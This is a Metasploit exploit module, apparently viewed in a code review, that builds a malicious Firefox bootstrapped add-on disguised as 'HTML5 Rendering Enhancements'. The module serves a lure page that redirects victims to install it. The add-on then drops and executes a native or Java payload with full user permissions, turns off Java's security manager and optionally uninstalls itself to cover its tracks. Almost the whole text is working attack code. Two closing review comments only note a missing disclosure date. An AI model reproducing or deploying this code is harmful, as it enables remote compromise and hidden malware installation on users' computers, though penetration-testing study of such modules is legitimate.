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modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb
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## | ||
# $Id$ | ||
## | ||
|
||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# web site for more information on licensing and terms of use. | ||
# http://metasploit.com/ | ||
## | ||
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require 'msf/core' | ||
require 'rex' | ||
require 'rex/zip' | ||
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class Metasploit3 < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
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include Msf::Exploit::Remote::HttpServer::HTML | ||
include Msf::Exploit::EXE | ||
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def initialize( info = {} ) | ||
super( update_info( info, | ||
'Name' => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution', | ||
'Description' => %q{ | ||
This exploit dynamically creates a .xpi addon file. | ||
The resulting bootstrapped Firefox addon is presented to | ||
the victim via a web page with. The victim's Firefox browser | ||
will pop a dialog asking if they trust the addon. | ||
Once the user clicks "install", the addon is installed and | ||
executes the payload with full user permissions. As of Firefox | ||
4, this will work without a restart as the addon is marked to | ||
be "bootstrapped". As the addon will execute the payload after | ||
each Firefox restart, an option can be given to automatically | ||
uninstall the addon once the payload has been executed. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ 'mihi' ], | ||
'Version' => '$Revision$', | ||
'References' => | ||
[ | ||
[ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ] | ||
], | ||
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ], | ||
'Payload' => { 'BadChars' => '', 'DisableNops' => true }, | ||
'Targets' => | ||
[ | ||
[ 'Generic (Java Payload)', | ||
{ | ||
'Platform' => ['java'], | ||
'Arch' => ARCH_JAVA | ||
} | ||
], | ||
[ 'Windows x86 (Native Payload)', | ||
{ | ||
'Platform' => 'win', | ||
'Arch' => ARCH_X86, | ||
} | ||
], | ||
[ 'Linux x86 (Native Payload)', | ||
{ | ||
'Platform' => 'linux', | ||
'Arch' => ARCH_X86, | ||
} | ||
], | ||
[ 'Mac OS X PPC (Native Payload)', | ||
{ | ||
'Platform' => 'osx', | ||
'Arch' => ARCH_PPC, | ||
} | ||
], | ||
[ 'Mac OS X x86 (Native Payload)', | ||
{ | ||
'Platform' => 'osx', | ||
'Arch' => ARCH_X86, | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 1 | ||
)) | ||
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register_options( [ | ||
OptString.new('ADDONNAME', [ true, | ||
"The addon name.", | ||
"HTML5 Rendering Enhancements" | ||
]), | ||
OptBool.new('AutoUninstall', [ true, | ||
"Automatically uninstall the addon after payload execution", | ||
true | ||
]) | ||
], self.class) | ||
end | ||
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def on_request_uri( cli, request ) | ||
if not request.uri.match(/\.xpi$/i) | ||
if not request.uri.match(/\/$/) | ||
send_redirect( cli, get_resource() + '/', '') | ||
return | ||
end | ||
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print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." ) | ||
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send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } ) | ||
return | ||
end | ||
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p = regenerate_payload(cli) | ||
if not p | ||
print_error("Failed to generate the payload.") | ||
# Send them a 404 so the browser doesn't hang waiting for data | ||
# that will never come. | ||
send_not_found(cli) | ||
return | ||
end | ||
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# If we haven't returned yet, then this is a request for our xpi, | ||
# so build one | ||
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if target.name == 'Generic (Java Payload)' | ||
jar = p.encoded_jar | ||
jar.build_manifest(:main_class => "metasploit.Payload") | ||
payload_file = jar.pack | ||
payload_name='payload.jar' | ||
payload_script=%q| | ||
var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java | ||
java.lang.System.setSecurityManager(null); | ||
var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]); | ||
var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]); | ||
m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]); | ||
| | ||
else | ||
payload_file = generate_payload_exe | ||
payload_name='payload.exe' | ||
payload_script=%q| | ||
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); | ||
process.init(tmp); | ||
process.run(false,[],0); | ||
| | ||
end | ||
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zip = Rex::Zip::Archive.new | ||
xpi_guid = '{d0df471a-9896-4e6d-83e2-13a04ed6df33}' #TODO randomize! | ||
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bootstrap_script = %q| | ||
function startup(data, reason) { | ||
var file = Components.classes["@mozilla.org/file/directory_service;1"]. | ||
getService(Components.interfaces.nsIProperties). | ||
get("ProfD", Components.interfaces.nsIFile); | ||
file.append("extensions"); | ||
| | ||
bootstrap_script << %Q|xpi_guid="#{xpi_guid}";| | ||
bootstrap_script << %Q|payload_name="#{payload_name}";| | ||
bootstrap_script << %q| | ||
file.append(xpi_guid); | ||
file.append(payload_name); | ||
var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. | ||
getService(Components.interfaces.nsIProperties). | ||
get("TmpD", Components.interfaces.nsIFile); | ||
tmp.append(payload_name); | ||
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); | ||
file.copyTo(tmp.parent, tmp.leafName); | ||
| | ||
bootstrap_script << payload_script | ||
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if (datastore['AutoUninstall']) | ||
bootstrap_script << %q| | ||
try { // Fx < 4.0 | ||
Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); | ||
} catch (e) {} | ||
try { // Fx 4.0 and later | ||
Components.utils.import("resource://gre/modules/AddonManager.jsm"); | ||
AddonManager.getAddonByID(xpi_guid, function(addon) { | ||
addon.uninstall(); | ||
}); | ||
} catch (e) {} | ||
| | ||
end | ||
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bootstrap_script << "}" | ||
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zip.add_file('bootstrap.js', bootstrap_script) | ||
zip.add_file(payload_name, payload_file) | ||
zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n") | ||
zip.add_file('install.rdf', %Q|<?xml version="1.0"?> | ||
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> | ||
<Description about="urn:mozilla:install-manifest"> | ||
<em:id>#{xpi_guid}</em:id> | ||
<em:name>#{datastore['ADDONNAME']}</em:name> | ||
<em:version>1.0</em:version> | ||
<em:bootstrap>true</em:bootstrap> | ||
<em:unpack>true</em:unpack> | ||
<em:targetApplication> | ||
<Description> | ||
<em:id>toolkit@mozilla.org</em:id> | ||
<em:minVersion>1.0</em:minVersion> | ||
<em:maxVersion>*</em:maxVersion> | ||
</Description> | ||
</em:targetApplication> | ||
<em:targetApplication> | ||
<Description> | ||
<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> | ||
<em:minVersion>1.0</em:minVersion> | ||
<em:maxVersion>*</em:maxVersion> | ||
</Description> | ||
</em:targetApplication> | ||
</Description> | ||
</RDF>|) | ||
zip.add_file('overlay.xul', %q|<?xml version="1.0"?> | ||
<overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> | ||
<script src="bootstrap.js"/> | ||
<script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script> | ||
</overlay>|) | ||
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print_status( | ||
"Sending xpi to #{cli.peerhost}. "+ | ||
"Waiting for user to click 'accept'...") | ||
send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } ) | ||
handler( cli ) | ||
end | ||
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def generate_html | ||
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n| | ||
html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n| | ||
html << %Q|<script>window.location.href="addon.xpi";</script>\n| | ||
html << %Q|</body></html>| | ||
return html | ||
end | ||
end |
7d8e1e5
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This is missing a DisclosureDate
7d8e1e5
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Perhaps there isn't one, but it's a required field for exploits.